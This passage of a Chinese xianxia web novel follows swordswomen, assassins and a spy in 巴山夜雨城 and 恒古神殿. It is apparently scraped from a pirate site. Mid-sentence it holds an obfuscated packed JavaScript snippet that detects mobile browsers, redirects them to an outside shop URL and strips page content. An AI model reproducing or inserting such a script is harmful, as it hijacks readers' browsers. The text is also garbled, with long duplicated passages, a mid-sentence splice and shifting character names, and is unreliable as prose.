地煞灵泉位于巴山夜雨城核心区域的一处秘境,雾气氤氲,泉水呈暗青色,散发出精纯而温和的地煞气息。陆青烟浸泡在灵泉中,运转功法,贪婪地吸收着泉水中的能量。整整七天过去,她周身缭绕的淡淡青色光晕才渐渐内敛,肌肤仿佛被泉水洗涤过,更显莹润,体内经脉也拓宽坚韧了不少。“终于将丹药和灵泉之力初步融合吸收。”陆青烟感受着体内澎湃的力量,以及与手中本命宝剑“惊鸿”更紧密的联系。她站在灵泉能量最浓郁的区域,闭目凝神,脑海中浮现《青雨惊鸿诀》中关于冲击更高境界的秘要,以及“雨灵剑体”更深层次的奥义。“要在如液态血脉般的地煞之河中,开辟出代表‘心脉’的气态通道……”她心中灵光一闪,“这与灵泉能量渗透滋养肉身的原理,似乎有异曲同工之妙?”又过去数日,她于灵泉中静坐感悟,对“魂脉”的玄妙也有了一丝明悟。“魂脉”并非实体经脉,而是一种连接肉身与灵魂意识的特殊“祭祀之力”通道。这灵泉深处,似乎也蕴含着类似的一丝古老而纯净的意念。当她结束修炼,走出灵泉时,遇见了前来挑战切磋的长老水婆婆。水婆婆擅长一套“柔水绵掌”,掌力绵密悠长,防御惊人。“小丫头,小心了!”水婆婆话音未落,双掌已如波涛般推出,掌力层层叠叠,笼罩整个演武台。陆青烟不敢怠慢,将《青雨惊鸿诀》运转到极致,手中“惊鸿剑”化作一道青色惊虹,直刺掌力最薄弱之处。她没有选择硬拼,而是以点破面,以快打慢。数十招后,陆青烟抓住水婆婆掌力转换间一丝微不可查的滞涩,剑尖轻颤,三点寒星分袭上中下三路。水婆婆回防稍慢,被其中一道剑气点中肩头,虽未受伤,但护体地煞之气已被刺破。水婆婆后退一步,看着肩头破损的衣料,又看看气定神闲收剑而立的陆青烟,长叹一声:“后生可畏!老婆子我输了。陆家丫头,你很好,巴山夜雨城未来可期。”她主动认输,眼中并无芥蒂,反而满是赞赏。陆青烟谦逊行礼。她知道,水婆婆是留了手的,真正的生死搏杀远非如此。但此战也让她对自己的剑法更有信心。然而,真正的考验接踵而至。夺命剑客一位自称来自远方、面容冷峻、背负一柄无鞘铁剑的少女剑客,阿诗玛,指名挑战陆青烟。此人之前数战,皆是一剑败敌,狠辣果决,剑下几乎没有活口,被称为“夺命剑客”。观战者议论纷纷,不少人暗中下注。陆青烟的支持者虽多,但这阿诗玛神秘强大,鹿死谁手犹未可知。演武台上,两人相对而立。阿诗玛声音沙哑,如金石摩擦:“你的剑,很快。”陆青烟平静道:“你的剑,很绝。但你的剑法是在燃烧自己的生命本源吧?每出一剑,寿元便减一分。值得吗?”阿诗玛瞳孔微缩,这是她最大的秘密!她修炼的正是某种近乎失传的禁忌剑术“焚血剑诀”,威力奇大,但代价惨重。她看向台下某个角落,那里站着一个面容娇美、眼神却带着刻薄与期待的少女,这个女人名叫云为珊。“值不值得,与你无关。”阿诗玛压下心中波澜,铁剑缓缓抬起,一股惨烈决绝的剑意弥漫开来。陆青烟不再多言,拔剑出鞘。她能感觉到,对方剑法中那股玉石俱焚的决绝。这一战,无法留手。两道身影,如电光般交错!只有一声轻微到极致的金铁交鸣。旋即,两人背对而立。阿诗玛低头,看着自己胸前衣襟上迅速扩大的血花,脸上露出解脱与一丝不甘,轰然倒地。陆青烟颈侧,留下一道浅浅的血痕,只划破表皮。在最后关头,她强行偏转了剑锋,选择了击倒而非击杀。她终究不是嗜杀之人。“为何不杀我?”阿诗玛艰难问道。“我之剑,为护道,非为屠戮。”陆青烟收剑。天空不知何时阴云密布,惊雷炸响,瓢泼大雨倾盆而下。巴山夜雨城偏僻街道,陆青烟走出演武场,却在不远处雨幕中,只见那个叫云珊的少女,正指挥着几个家奴模样的壮妇,用棍棒疯狂殴打着瘫在泥水中的阿诗玛。“打!给我往死里打!没用的东西!连个陆青烟都杀不了,白费我那么多心思!”云珊站在伞下,容颜娇美,说出的话却冰冷恶毒。“哈哈,你的剑呢?起来啊!”家奴们肆意嘲笑着,棍棒如雨点般落下。阿诗玛浑身是血,双腿明显已断,躺在泥泞中,眼神空洞地望着云为珊的方向,最终缓缓闭上。“好像没气了?”一个家奴探了探鼻息。“废物就是废物,死了干净。”云珊啐了一口,转身登上一辆华丽的马车。 “珊妹,闹够了就回吧,为了个将死之人淋雨,不值当。”马车碾过积水,迅速离去。 陆青烟快步上前,不顾泥泞,探了探阿诗玛的鼻息和脉搏。“还有一丝微弱的生机。”她沉声道。“青烟,这人来历不明,又与云家那疯丫头有关,救她恐惹麻烦。”林汐担忧道。“见死不救,非我辈所为。”陆青烟取出一枚珍贵的三品疗伤丹药“青玉回春丹”,塞入阿诗玛口中,又运起一丝精纯的地煞之气护住其心脉,“林汐姐,麻烦你找人,先将他安置到安全的地方,尽力救治。”她看着雨中远去的马车,眼神冰冷。云珊,还有她背后可能存在的阴影彩羽楼?这巴山夜雨城的水,比她想象的更深,更浑。而此刻,在城中某个更隐秘的角落,那位接到命令的彩羽楼魍级杀手“血薇”,或许已经睁开了眼睛,如同潜伏的毒蛇,将目光锁定了刚刚崭露头角的陆青烟。秋池剑阁外围,返回天秀的僻静山道。“滴滴答答!”夜雨敲打着山道两旁的青石,四周雾气弥漫,行人绝迹。只有一辆由两匹踏云驹拉着的朴素马车,在雨幕中疾行。车厢内,唐婉正闭目调息,消化着白日里与沐雪长老遇袭一战的感悟,以及刚突破至笃行段中品的修为。突然,唐婉的眼皮微不可查地动了一下。她“听”到了。不是雨声,不是蹄声,而是一缕近乎融入夜风的、冰冷锐利的杀气!这杀气来自高处,且锁定的是她!“长老小心!”电光石火间,唐婉低喝一声,根本来不及解释,左手猛地抓住沐雪长老的手臂,右肩狠狠撞向一侧的车厢壁!她如今的力量非同小可,加上车厢并非全金属结构,“轰”的一声,木板碎裂,两人如同炮弹般从飞驰的马车侧面滚落出去,瞬间没入道旁茂密的灌木丛。就在两人滚出的刹那!一道青色的身影如鬼魅般自山道旁一株古松树冠上飘落,手中一道软鞭似的青光凌空劈下!“嗤啦!”青光过处,那辆坚实的马车如同纸糊般被从中一分为二!拉车的踏云驹惨嘶一声,连同驾车的天秀外宗侍女一同被凌厉的剑气斩断,鲜血混合着雨水,瞬间染红了路面。青色身影轻盈落地,立于道路中央。雨水打湿了她贴身的夜行衣,勾勒出惊心动魄的曲线,脸上蒙着青纱,只露出一双冰冷含煞的美眸。她盯着裂成两半的马车,眼中闪过一丝疑惑——空了?“什么人?竟敢在秋池剑阁地界行凶!”沐雪长老从灌木丛中站起,又惊又怒。若非唐婉反应快得不可思议,她二人此刻恐怕已凶多吉少。对方这一击,悄无声息,狠辣精准,绝对是专业杀手,而且修为至少是笃行段上品,甚至可能触摸到了化境段的门槛!唐婉也缓缓站起身,挡在沐雪长老身前稍侧的位置,目光平静地打量着青衣女子。对0方身上那股冰冷、漠然、仿佛视生命如草芥的气息,她并不陌生“彩羽楼魅级杀手紫薇、梅影?还是魍级杀手血薇?”她轻声问道,语气仿佛在确认一件寻常事。 青衣女子正是彩羽楼的魑魅魍魉中的北方之魍——血薇。她没有答话,回应唐婉的,是手中那柄宛如灵蛇的软剑!剑身一抖,雨水被剑气牵引,瞬间凝聚成数十枚细小的冰棱,如同暴雨梨花,铺天盖地罩向唐婉和沐雪长老。恒古神殿外围,试炼谷。白浅站在一处残破的石殿阴影中,身上贴着高阶敛息符,目光紧盯着远处天空中几道正急速降落的身影。那是刑律殿的巡查弟子,以及两个隶属不同派系、平日对银袍长老阁甜蜜阁主阳奉阴违的内宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594666|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执事。他们显然是收到了某些“匿名”消息,前来这处早已废弃的旧谷“探查异动”。“墨玉,准备好了吗?”白浅在心中传音。蹲在她肩头、缩小了体型的玄猫墨玉,金瞳微闪:“小丫头,本皇办事你放心。已按你的要求布下剑阵,核心处留了一丝的封印气息,足以伪装成某种古老禁制被触发。不过你真不直接引爆?这几个家伙,阵法全力发动,够他们喝一壶的。”“现在引爆,最多伤他们几人,打草惊蛇。”白浅目光沉静,“我要借这个机会,让那些藏在暗处、觊觎‘古卷武魂’或是对甜蜜阁主不满的势力,暂时缩回爪子。”“你想虚张声势?”墨玉明白了。“嗯。”白浅点头,从怀中取出两枚玉符。一枚是她自己炼制的简化版虚境符,能短时间模拟出超越自身一两个大境界的威压;另一枚是得自某次任务的扩音符。“我们按计划行事。激发虚境符后,你我用扩音符向整个旧谷及周边区域传音。”凌霄,一位气质冷峻、剑眉星目的青年男弟子,他同样潜伏在附近,闻言郑重颔首:“明白。白师妹此计虽险,但若能成,可为我们争取更多调查和修炼的时间。”两人对视一眼,同时捏碎了手中的虚境符。“嗡!”一股浩瀚、古老、仿佛源自洪荒的恐怖威压,猛然以两人为中心爆发开来!这威压并非真实的力量,却带着直击灵魂的震慑感,仿佛有沉睡的巨兽在此地苏醒!紧接着,白浅清冷如冰泉、却又充满威严的女声,借助扩音符响彻旧谷乃至更外围区域:“恒古神殿诸弟子、执事听令:此旧试炼谷乃上古禁地,近日异动,非尔等可窥探!限三日之内,所有无关人等尽数撤离,不得再靠近窥视!”凌霄浑厚而充满杀意的男声紧随其后,滚滚如雷:“违令者,视同触犯禁地,格杀勿论!”化境段以上的虚假威能配合着这充满威胁的宣告,如同海潮般汹涌扩散。那些刚刚落地的刑律殿弟子和两位执事,首当其冲,只觉心头巨震,气血翻腾,仿佛被无形山岳压迫,几乎站立不稳,脸上瞬间血色尽褪。“是是守阁长老或某位隐世前辈?”“此地竟真有上古禁制?我们被利用了!”“快走!速速禀报!”十几息后,威压如潮水般退去,仿佛从未出现。但那充满警告的话语,却深深烙印在每个人心中。旧谷重归寂静,只有雨声淅沥。白浅和凌霄依旧潜伏在暗处,气息完美收敛。“他们信了吗?”凌霄传音问。“半信半疑。”白浅目光投向那些仓皇退走的身影,以及更远处几道若隐若现、此刻也迅速远去的气息,“但这就够了。至少几天内,这里会安静很多。而等他们确认那幻杀剑阵的威力后,疑心会变成忌惮。”她顿了顿,看向凌霄:“凌师兄,接下来的事就拜托你了。”白浅在玄黄斗殿激战后的第三日,依约来到了玲珑阁。一方面是秦雅(字月娆)之前的邀请让她难以推拒,另一方面,她也确实想购置一尊品质上乘的炼器炉,为日后炼制更复杂的空间宝物或特殊器物做准备。玲珑阁顶层,不同于下方的喧嚣,布置得极为雅致清幽,熏香袅袅。只见秦月娆今日换了一身水红色的长裙,妆容精致,斜倚在软榻上,更显风情万种。她亲自为白浅斟茶,笑意盈盈:“白师妹前日在玄黄斗殿的风采,可是传遍了内宗呢。越阶连胜,最后更是逼平了谢翩跹,真是让人叹为观止。姐姐我可是押了你不少贡献点,小赚了一笔呢。”白浅接过茶杯,微微欠身:“秦师姐过奖了,侥幸而已。师姐消息灵通,青浅佩服。”她态度礼貌,但带着一丝不易察觉的疏离。“妹妹何必自谦。”秦月娆美目流转,身子微微前倾,香气袭人,“以妹妹的天资,又有甜蜜阁主青眼,前途不可限量。只是木秀于林,风必摧之。妹妹如今风头正劲,可要当心些才是。”白浅心中一动,放下茶杯:“师姐此言何意?”秦月娆轻笑,手指绕着垂落的一缕发丝:“没什么,只是姐姐我在这坊市经营多年,见得多了些。有些人啊,自己上不了台面,就喜欢在台下使些绊子。”她这话说得含蓄,但白浅立刻听出了弦外之音——还有人开始深挖她“白浅”的过去,以及她修炼的《白帝清霜诀》和古卷武魂的来历?“多谢师姐提醒。”白浅神色不变,“清者自清。青浅行事,但求无愧于心。”“好一个但求无愧于心。”秦月娆拍手轻笑,眼中却闪过一丝意味深长,“妹妹心志坚定,是好事。不过,这世道,有时不是你不惹事,事就不来找你。”她说着,纤手一翻,掌心多了一个小巧的玉瓶和一枚看似普通的铜钱。“这瓶‘清心玉露’,对付一些下三滥的迷魂、惑心类手段颇有奇效。这枚‘子母传讯钱’,子钱你留着,若遇到什么‘不方便’向宗门求援的麻烦,捏碎它,只要在千里之内,姐姐我能感应到大致方位。”白浅看着秦月娆手中的东西,没有立刻去接。秦月娆的示好太过明显,也太过“周到”。她究竟是真的欣赏自己,还是另有所图?抑或是她代表的“玲珑阁”乃至其背后的势力,想在自己身上投资,或者,利用自己?“师姐好意,青浅心领。只是无功不受禄。”白浅婉拒。“哎,谈什么禄不禄的。”秦月娆直接将两样东西塞进白浅手里,指尖似有意无意划过她的掌心,带起一阵酥麻,“就当是姐姐庆贺妹妹登榜的贺礼。炼器炉已经给你备好了,是尊不错的‘八荒离火鼎’仿品,足够你用到三品炼器师的水准。账嘛就算在姐姐头上,等你以后成了炼器大师,再给姐姐炼制件好东西便是。”话说到这个份上,再推辞就显得矫情且可能得罪了。白浅只得收下,再次道谢,心中对秦月娆的警惕又提高了几分。这个女人,美貌、财富、手腕、情报能力无一不缺,她在恒古神殿内宗,究竟扮演着什么角色?她的“好意”,背后又连着哪一方的利益?离开玲珑阁时,白浅手中多了尊沉重的炼器炉,怀里则揣着那瓶玉露和那枚铜钱。雨已停歇,但天空依旧阴沉。她感觉,自己仿佛正走入一张由各种示好、试探、阴谋交织而成的无形之网。秦月娆是网上的一只蜘蛛,而她自己,似乎正成为某些人眼中值得关注、乃至值得“投资”或“操控”的猎物。暗流汹涌。风暴,正在这看似平静的表象下,疯狂酝酿。 42. 虽在此身在堪良 秋池剑阁,听雪小筑寒玉床上,唐婉脸色青灰,呼吸微弱得几乎断绝。那“蚀骨瘴”虽被锁魂丹暂时压制,但每隔七日便会反噬一次,如同千万只毒虫啃噬骨髓,痛得她浑身痉挛,指甲深深抠进床板,留下道道血痕。白浅站在床边,眼底布满血丝。她手中捏着一枚传讯玉简,那是陆青烟从巴山夜雨城发来的。“浅儿,姑姑陆徽掌管城中药库,或可一试。但‘蚀骨瘴’乃彩羽楼秘毒,需‘九幽玄参’为主药,辅以‘冰魄寒泉’淬炼。玄参城中有,但寒泉在城外绝地‘葬剑渊’深处,守卫森严,且需雨灵剑体方能靠近。”陆青烟的声音凝重,“我已向城主报备,但白望春疑心重,只准我一人前往,且需三日后方可动身。”白浅捏碎了玉简。三日。唐婉等不了三日。每一次毒发,锁魂丹的效力便减弱一分。若是等陆青烟回来,恐怕已是回天乏术。“秦月娆。”白浅猛地抬头,眼中闪过一丝决绝,“玲珑阁遍布北疆,消息灵通,她一定有别的渠道。”她转身冲入雨幕,直奔玲珑阁。玲珑阁顶层,秦月娆依旧慵懒地斜倚在软榻上,把玩着一枚玉佩。听完白浅的请求,她轻笑一声,指尖划过白浅冰凉的手背。“九幽玄参?我有。”秦月娆红唇微勾,“但你知道这东西多珍贵吗?它生长在极北死人谷,百年才出一株。姐姐我可以给你,不过”她凑近白浅,吐气如兰:“我要你答应我一件事。七月初七,断魂崖,你不仅要帮我杀‘魑’,还要替我取一样东西。”“什么东西?”“彩羽楼楼主身上的‘幽冥血令’。”秦月娆眼中闪过一丝刻骨的恨意,“那是开启‘幽冥血海’的钥匙,也是我姐姐惨死的证物。”白浅瞳孔收缩。幽冥血令这比杀一个“魑”难上百倍!但此刻,她别无选择。“好。”白浅咬牙,“我答应你。”秦月娆笑了,将一只精致的玉盒抛给她:“九幽玄参在里面。至于冰魄寒泉我虽没有,但我知道哪里有替代品。恒古神殿禁地‘古剑冢’深处,有一口‘寒泉眼’,泉眼之心凝结的‘寒髓’,效果更胜寒泉十倍。”“禁地?”白浅皱眉。“放心,我有令牌。”秦月娆扔给她一块黑色令牌,“凭此令牌,可保你出入三次。但记住,古剑冢内凶险万分,尤其是深处,镇压着上古剑魔的一缕残魂。”白浅接过令牌,深深看了秦月娆一眼,转身离去。她必须尽快拿到寒髓,炼制解药。唐婉的时间,不多了。与此同时,巴山夜雨城郊外,溪亭镇。曾经富庶安宁的江南小镇,如今已化作一片焦土。残垣断壁间,血迹斑斑,乌鸦在枯树枝头嘶哑地叫着。一辆不起眼的青布马车,在官道上缓缓行驶。车窗垂着纱帘,隐约可见里面坐着一名身着鹅黄衣裙的少女。她容颜清丽,眉眼间带着一丝恰到好处的哀戚与茫然,正是顶替了云为衫身份的彩羽楼“魑”级杀手。她看着窗外熟悉的景色,指甲深深掐入掌心。这里是她长大的地方,是她父母惨死的地方。但现在,这一切都与她无关了。她只是云为衫,一个劫后余生、惊魂未定的孤女“姑娘,巴山夜雨城就在前面了。”车夫低声说道,“城主白望春大人已派人来接您了。”“有劳。”少女轻声应道,声音温婉动听,带着一丝颤抖。她深吸一口气,对着车窗上模糊的倒影,练习了一个标准的、带着悲伤与感激的微笑。鹅黄衣裙之下,是早已被血腥和残酷浸透的灵魂。她记得十八阿姐的话:“你的任务,是成为白望春最信任的义女,是潜伏在巴山夜雨城最高处的眼睛。记住,你现在的名字,叫云为衫。”马车驶入城门。守城的士兵例行检查,看到她身上的云家徽记,脸上露出惋惜与同情:“唉,姑娘节哀顺变。”她低下头,恰到好处地拭了拭眼角不存在的泪水:“多谢军爷。”她顺利入城。但就在马车经过城门口时,她不经意地抬眼,看到了城墙上张贴的一张告示。告示上画着一个女子的头像,下面写着“彩羽楼魅级杀手紫嫣,赏金五千灵石”。十八阿姐手下最得力的杀手之一云为衫的手指微微一颤。她面无表情地收回目光,心中却是一片冰冷。彩羽楼要她潜伏,要她成为白望春的义女。但白望春,是巴山夜雨城最强的守护者,是彩羽楼最想除掉的人。这盘棋,到底谁是棋子,谁又是棋手?她不知道。她只知道,她要活下去。为了活下去,她可以是一切 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人。恒古神殿,古剑冢外围白浅手持秦月娆给的黑色令牌,顺利通过了禁制。剑冢内阴风阵阵,插满了无数断剑残戈,每一柄剑都散发着不甘的煞气。她一路向内,遇到的剑魂越来越多,攻击也越来越凌厉。她以《白帝清霜诀》对抗,冰魄剑出鞘,寒光凛冽,将袭来的剑魂冻结。但越往深处,剑魂越强。到了最后,竟有化境段的剑魂凝聚成形,手持巨剑,向她斩来!“冰魄凝针!”白浅全力催动神魂攻击,一点寒芒击穿了剑魂的眉心。但她自己也受了伤,嘴角溢出一缕鲜血。终于,她来到了寒泉眼。那是一口深不见底的寒潭,潭水漆黑如墨,散发着刺骨的寒意。而在潭心,漂浮着一团拳头大小、晶莹剔透的液体正是“寒髓”!但要取到寒髓,必须穿过寒潭。白浅咬牙,纵身跃入潭中。刺骨的寒意瞬间包裹全身,仿佛要将她的血液都冻结。她运转功法抵抗,拼命向潭心游去。就在她的指尖即将触碰到寒髓的刹那“吼!”一道恐怖的咆哮声从潭底炸响!一只由无数剑刃碎片凝聚而成的巨大怪物,猛地从潭底冲出,张开满是利齿的大口,向白浅咬来!那是上古剑魔的一缕残魂,镇守在此!巴山夜雨城,城主府。城主白望春端坐于高位,凌霄段的威压如山如海。他看着跪在下面的鹅黄少女,目光如炬,仿佛能看穿人心。“云姑娘,抬起头来。”云为衫顺从地抬头,露出一张梨花带雨、楚楚可怜的脸。白望春凝视了她许久,眼中闪过一丝复杂的神色。想起了多年前死在彩羽楼手中的亲生女儿,也是这般年纪,这般模样。“好,从今日起,你便是我的义女。”白望春缓缓开口,“我会为你报仇,也会护你周全。”“多谢义母。”云为衫磕头,声音哽咽。但在她低头的那一刻,眼中闪过一丝无人察觉的冰冷。同一时刻。陆青烟正带着九幽玄参,快马加鞭赶回城。白浅正与剑魔残魂殊死搏斗,只为夺取寒髓。唐婉在听雪小筑中,毒发再次来临,痛得几乎昏厥。而彩羽楼的密室里,主座上的女子正抚摸着一枚血色的令牌,冷笑着对朱砂痣女子说:“棋子已经就位。是时候,收网了。”伪面之下,皆是修罗。 43. 浅山深雨有人家 义女入府·暗棋落定,巴山夜雨城,城主府,观雨阁。一个月前那场“问心试”的尘埃已然落定。云为衫,这位“劫后余生”的云家孤女,在城主白望春的亲自见证下,成为其第五位义女。典礼隆重而肃穆,白望春赐下象征身份的云纹玉佩,准许她入住城主府西侧精致的“听雨小筑”,享有与另外四位义女同等的学习与修炼资源。表面上看,这是一场仁慈的收容,是巴山夜雨城对依附家族的庇护。但只有极少数核心人物知道,这也是一场无声的囚禁与监视的开始。听雨小筑内,陈设清雅,熏香袅袅。云为衫身着上等的月白锦衣,坐在梳妆台前,看着铜镜中那张熟悉又陌生的脸。这是她自己的脸,却挂着不属于自己的、温婉而略带哀愁的笑容。她现在是白望春的义女,是巴山夜雨城未来的核心成员之一。她对着镜中的自己低语,声音轻柔,带着一丝不易察觉的颤抖,“活下来的云为衫。”她必须时刻牢记这一点。脑海中,十八阿姐冰冷的声音与“恩人”的教诲交织在一起:“你是云为衫,你的父母被巴山夜雨城的黑暗所害。你要取得白望春的信任,找到机会,完成你的复仇。”而另一边,是城主白望春那温和却洞穿一切的目光:“为衫,从此刻起,你便是我白望春的女儿。巴山夜雨城,便是你的家。”家?云为衫的指尖微微颤抖。她的“家”早已在溪亭镇那场大火中化为灰烬。现在的“家”,是龙潭虎穴,是她必须潜伏的敌营。窗外,夜雨依旧淅沥。她能感觉到,暗处有目光如附骨之疽般盯着她。是城主府的暗卫,也是她心底那条名为“彩羽楼”的毒蛇。她必须完美地扮演这个角色。不能有丝毫差错。古剑冢·寒髓惊变与此同时,千里之外的恒古神殿禁地古剑冢。阴风怒号,剑气纵横。白浅手持冰魄剑,浑身浴血,却依旧死死护着怀中那只装着“九幽玄参”的玉盒。她面前,是秦月娆给她的黑色令牌,以及通往寒泉眼的必经之路。“吼!”一声非人的咆哮从深渊般的地底炸响!那是由无数断剑残刃怨气凝聚而成的上古剑魔残魂,守护着寒泉眼中的至宝“寒髓”。白浅咬破舌尖,强行提起最后一口真气。《白帝清霜诀》运转到极致,丹田内的冰晶核心疯狂旋转,释放出刺骨的寒意。她不再保留,将刚刚领悟的“冰魄凝针”秘术催发到极致!“咻!”一点肉眼几乎无法捕捉的寒芒,后发先至,瞬间洞穿了剑魔残魂的眉心!那残魂发出一声凄厉的哀嚎,轰然崩散。白浅踉跄一步,险些跪倒在地。她强撑着走到寒潭边,伸手探入那刺骨的泉水中,挖出了那枚拳头大小、晶莹剔透的“寒髓”。寒髓入手,一股精纯至极的寒气顺着经脉涌入体内,让她几近干涸的丹田瞬间充盈起来。“唐婉,等我。”白浅看了一眼手中流光溢彩的寒髓,又看了一眼那深不见底的古剑冢,眼中闪过一丝决绝。她必须立刻赶回巴山夜雨城,炼制解药。雨夜杀机·真假难辨。巴山夜雨城外,三十里,废弃的溪亭镇旧址。这里早已荒芜人烟,只有断壁残垣在夜雨中沉默。然而今夜,这里却并不平静。几道鬼魅般的身影,悄无声息地包围了一座早已坍塌一半的柴房。为首的,正是彩羽楼“魅”级杀手紫嫣。柴房内,一个衣衫褴褛、浑身是伤的少女蜷缩在角落,瑟瑟发抖。她抬起头,露出一张被烟火熏黑、却依稀能看出清丽轮廓的脸。正是云为衫。或者说,是那个被白望春收为义女、本该安稳待在城主府的白为衫。云姑娘,别来无恙啊。”紫嫣的声音娇媚,却透着刺骨的寒意,“楼主有令,你的‘伪装’演得不错。但戏演完了,也该收场了。跟我们回去吧,或者死在这里。”云为衫瞳孔骤缩,身体因恐惧和后怕而微微颤抖。她认得这个声音,认得那张紫色羽纹面具!就是这个女人,一年前亲手斩断了她父亲的臂膀,将她掳入魔窟!“你们你们想干什么?”她声音发颤,努力扮演着被吓坏的孤女,“我已经进了城主府,我是白望春的义女!”“义女?”紫嫣轻笑,如看蝼蚁,“一个冒牌货,也配做城主的女儿?云为衫,别忘了你的命是谁救的,你的武功是谁教的。没有楼主,你早就是一具尸体了。现在,是你报恩的时候了。”“报恩?”云为衫惨笑一声,眼中闪过一丝疯狂的恨意,“你们毁了我的家,杀了我的父母,把我变成现在这个人不人鬼不鬼的样子,还要我报恩?”“看来,这一年多的‘画魂’还是没把你教乖。”紫嫣叹了口气,手中淬毒的匕首挽了个漂亮的刀花,“那就别怪姐姐心狠手辣了。动手!”就在紫嫣即将扑上来的刹那“住手!”凌厉的破空之声骤然响起!几枚造型奇特、泛着青紫色泽的铁蒺藜,以极其刁钻的角度射向紫嫣周身要害,逼得她不得不回身格挡,攻势一滞。紧接着,一道清冷如冰泉的女声,带着一丝压抑的怒意和疑惑,在夜风中飘来:“彩羽楼真是越来越下作了,连一个重伤的弱女子都不放过。”两道身影悄然出现在院墙上。为首一人,青衫执剑,容颜清丽冷冽,正是陆青烟!她身旁,是一身黑衣、眼神锐利的阿诗玛。陆青烟奉命调查彩羽楼近期异动,追踪紫嫣等人的气息至此,却意外撞见了这一幕。她目光扫过柴房内那个狼狈的少女,心中一震。这少女的容貌,与她在巴山夜雨城见过的那位“云为衫”义女,竟有七八分相似!只是此刻憔悴狼狈得多。“阿诗玛,救人!这个交给我!” 陆青烟长剑出鞘,“惊鸿剑”化作一道青色惊鸿,直取紫嫣。紫嫣脸色一变,没想到会有人搅局,而且来人修为不弱。她冷哼一声。 “云为衫已经‘死’了。”她对着镜中的自己低语,声音轻柔,带着一丝不易察觉的颤抖,“活下来的是白为衫。她必须时刻牢记这一点。脑海中,十八阿姐冰冷的声音与“恩人”的教诲交织在一起:“你是云为衫,你的父母被巴山而另一边,是城主白望春那温和却洞穿一的目光:“为衫,从此刻起,你便是我白望春的女儿。巴山夜雨城,便是你的家。” 家?白为衫的指尖微微颤抖。她的“家”早已在溪亭镇那场大火中化为灰烬。现在的“家”,是龙潭虎穴,是她必须潜伏的敌营。 窗外,夜雨依旧淅沥。她能感觉到,暗处有目光如附骨之疽般盯着她。是城主府的暗卫,也是她心底那条名为“彩羽楼”的毒蛇。 她必须完美地扮演这个角色。不能有丝毫差错。古剑冢·寒髓惊变,与此同时,千里之外的恒古神殿禁地古剑冢。阴风怒号,剑气纵横。白浅手持冰魄剑,浑身浴血,却依旧死死护着怀中那只装着“九幽玄参”的玉盒。她面前,是秦月娆给她的黑色令牌,以及通往寒泉眼的必经之路。“吼!”一声非人的咆哮从深渊般的地底炸响!那是由无数断剑残刃怨气凝聚而成的上古剑魔残魂,守护着寒泉眼中的至宝“寒髓”。白浅咬破舌尖,强行提起最后一口真气。《白帝清霜诀》运转到极致,丹田内的冰晶核心疯狂旋转,释放出刺骨的寒意。她不再保留,将刚刚领悟的“冰魄凝针”秘术催发到极致!“咻!”一点肉眼几乎无法捕捉的寒芒,后发先至,瞬间洞穿了剑魔残魂的眉心!那残魂发出一声凄厉的哀嚎,轰然崩散。白浅踉跄一步,险些跪倒在地。她强撑着走到寒潭边,伸手探入那刺骨的泉水中,挖出了那枚拳头大小、晶莹剔透的“寒髓”。寒髓入手,一股精纯至极的寒气顺着经脉涌入体内,让她几近干涸的丹田瞬间充盈起来。“唐婉,等我。”白浅看了一眼手中流光溢彩的寒髓,又看了一眼那深不见底的古剑冢,眼中闪过一丝决绝。她必须立刻赶回巴山夜雨城,炼制解药。雨夜杀机·真假难辨,巴山夜雨城外,三十里,废弃的溪亭镇旧址。这里早已荒芜人烟,只有断壁残垣在夜雨中沉默。然而今夜,这里却并不平静。几道鬼魅般的身影,悄无声息地包围了一座早已坍塌一半的柴房。为首的,正是彩羽楼“魅”级杀手紫嫣。柴房内,一个衣衫褴褛、浑身是伤的少女蜷缩在角落,瑟瑟发抖。她抬起头,露出一张被烟火熏黑、却依稀能看出清丽轮廓的脸。正是云为衫。或者说,是那个被白望春收为义女、本该安稳待在城主府的白为衫。“云姑娘,别来无恙啊。”紫嫣的声音娇媚,却透着刺骨的寒意,“楼主有令,你的‘伪装’演得不错。但戏演完了,也该收场了。跟我们回去吧,或者死在这里。”云为衫瞳孔骤缩,身体因恐惧和后怕而微微颤抖。她认得这个声音,认得那张紫色羽纹面具!就是这个女人,一年前亲手斩断了她父亲的臂膀,将她掳入魔窟!“你们你们想干什么?”她声音发颤,努力扮演着被吓坏的孤女,“我已经进了城主府,我是白望春的义女!”“义女?”紫嫣轻笑,如看蝼蚁,“一个冒牌货,也配做城主的女儿?云为衫,别忘了你的命是谁救的,你的武功是谁教的。没有楼主,你早就是一具尸体了。现在,是你报恩的时候了。”“报恩?”云为衫惨笑一声,眼中闪过一丝疯狂的恨意,“你们毁了我的家,杀了我的父母,把我变成现在这个人不人鬼不鬼的样子,还要我报恩?”“看来,这一年多的‘画魂’还是没把你教乖。”紫嫣叹了口气,手中淬毒的匕首挽了个漂亮的刀花,“那就别怪姐姐心狠手辣了。动手!”就在紫嫣即将扑上来的刹那“住手!”凌厉的破空之声骤然响起!几枚造型奇特、泛着青紫色泽的铁蒺藜,以极其刁钻的角度射向紫嫣周身要害,逼得她不得不回身格挡,攻势一滞。紧接着,一道清冷如冰泉的女声,带着一丝压抑的怒意和疑惑,在夜风中飘来:“彩羽楼真是越来越下作了,连一个重伤的弱女子都不放过。”两道身影悄然出现在院墙上。为首一人,青衫执剑,容颜清丽冷冽,是陆青烟!她身旁,是一身黑衣、眼神锐利的阿诗玛。陆青烟奉命调查彩羽楼近期异动,追踪紫嫣等人的气息至此,却意外撞见了这一幕。她目光扫过柴房内那个狼狈的少女,心中一震。这少女的容貌,与她在巴山夜雨城见过的那位“白为衫”义女,竟有七八分相似!只是此刻憔悴狼狈得多。“阿诗玛,救人!这个交给我!”陆青烟长剑出鞘,“惊鸿剑”化作一道青色惊鸿,直取紫嫣。紫嫣脸色一变,没想到会有人搅局,而且来人修为不弱。她冷哼一声,与陆青烟战在一处。靠坐在潮湿的墙角,看着突然出现的陆青烟,心中翻江倒海。陆青烟雨韵剑宗的天才弟子